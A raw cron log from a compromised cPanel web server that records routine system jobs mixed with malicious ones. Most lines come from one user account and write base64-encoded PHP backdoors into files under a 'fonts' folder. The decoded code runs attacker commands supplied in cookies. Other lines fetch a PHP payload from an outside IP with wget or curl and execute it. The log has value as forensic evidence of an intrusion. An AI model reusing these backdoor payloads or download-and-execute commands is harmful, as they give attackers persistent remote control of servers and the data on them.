Sep  4 23:55:01 ip-184-168-122-23 CROND[8114]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:55:01 ip-184-168-122-23 CROND[8113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:55:01 ip-184-168-122-23 CROND[8111]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:55:01 ip-184-168-122-23 CROND[8112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:55:01 ip-184-168-122-23 CROND[8115]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:56:02 ip-184-168-122-23 CROND[8210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:56:02 ip-184-168-122-23 CROND[8212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:56:02 ip-184-168-122-23 CROND[8211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:56:02 ip-184-168-122-23 CROND[8213]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:56:02 ip-184-168-122-23 CROND[8214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:57:01 ip-184-168-122-23 CROND[8303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:57:01 ip-184-168-122-23 CROND[8306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:57:01 ip-184-168-122-23 CROND[8305]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:57:01 ip-184-168-122-23 CROND[8304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:58:01 ip-184-168-122-23 CROND[8383]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:58:01 ip-184-168-122-23 CROND[8384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:58:01 ip-184-168-122-23 CROND[8386]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:58:01 ip-184-168-122-23 CROND[8389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:58:01 ip-184-168-122-23 CROND[8391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:59:01 ip-184-168-122-23 CROND[8468]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:59:01 ip-184-168-122-23 CROND[8469]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:59:01 ip-184-168-122-23 CROND[8471]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:59:01 ip-184-168-122-23 CROND[8472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:00:01 ip-184-168-122-23 CROND[8635]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:00:01 ip-184-168-122-23 CROND[8639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:00:01 ip-184-168-122-23 CROND[8643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8642]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8641]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8640]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8644]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8638]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:00:01 ip-184-168-122-23 CROND[8645]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8750]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8754]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8757]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:01:02 ip-184-168-122-23 CROND[8756]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8750]: starting 0anacron
Sep  5 00:01:02 ip-184-168-122-23 anacron[8771]: Anacron started on 2026-09-05
Sep  5 00:01:02 ip-184-168-122-23 anacron[8771]: Normal exit (0 jobs run)
Sep  5 00:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[8773]: finished 0anacron
Sep  5 00:02:01 ip-184-168-122-23 CROND[8848]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:02:01 ip-184-168-122-23 CROND[8849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:02:01 ip-184-168-122-23 CROND[8851]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:02:01 ip-184-168-122-23 CROND[8855]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:02:01 ip-184-168-122-23 CROND[8856]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:03:01 ip-184-168-122-23 CROND[8942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:03:01 ip-184-168-122-23 CROND[8943]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:03:01 ip-184-168-122-23 CROND[8944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:03:01 ip-184-168-122-23 CROND[8945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:04:01 ip-184-168-122-23 CROND[9030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:04:01 ip-184-168-122-23 CROND[9033]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:04:01 ip-184-168-122-23 CROND[9032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:04:01 ip-184-168-122-23 CROND[9034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:04:01 ip-184-168-122-23 CROND[9036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9116]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9120]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9119]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:05:01 ip-184-168-122-23 CROND[9123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 00:06:01 ip-184-168-122-23 CROND[9206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 00:06:01 ip-184-168-122-23 CROND[9208]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 00:06:01 ip-184-168-122-23 CROND[9209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 00:06:01 ip-184-168-122-23 CROND[9210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 00:06:01 ip-184-168-122-23 CROND[9211]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
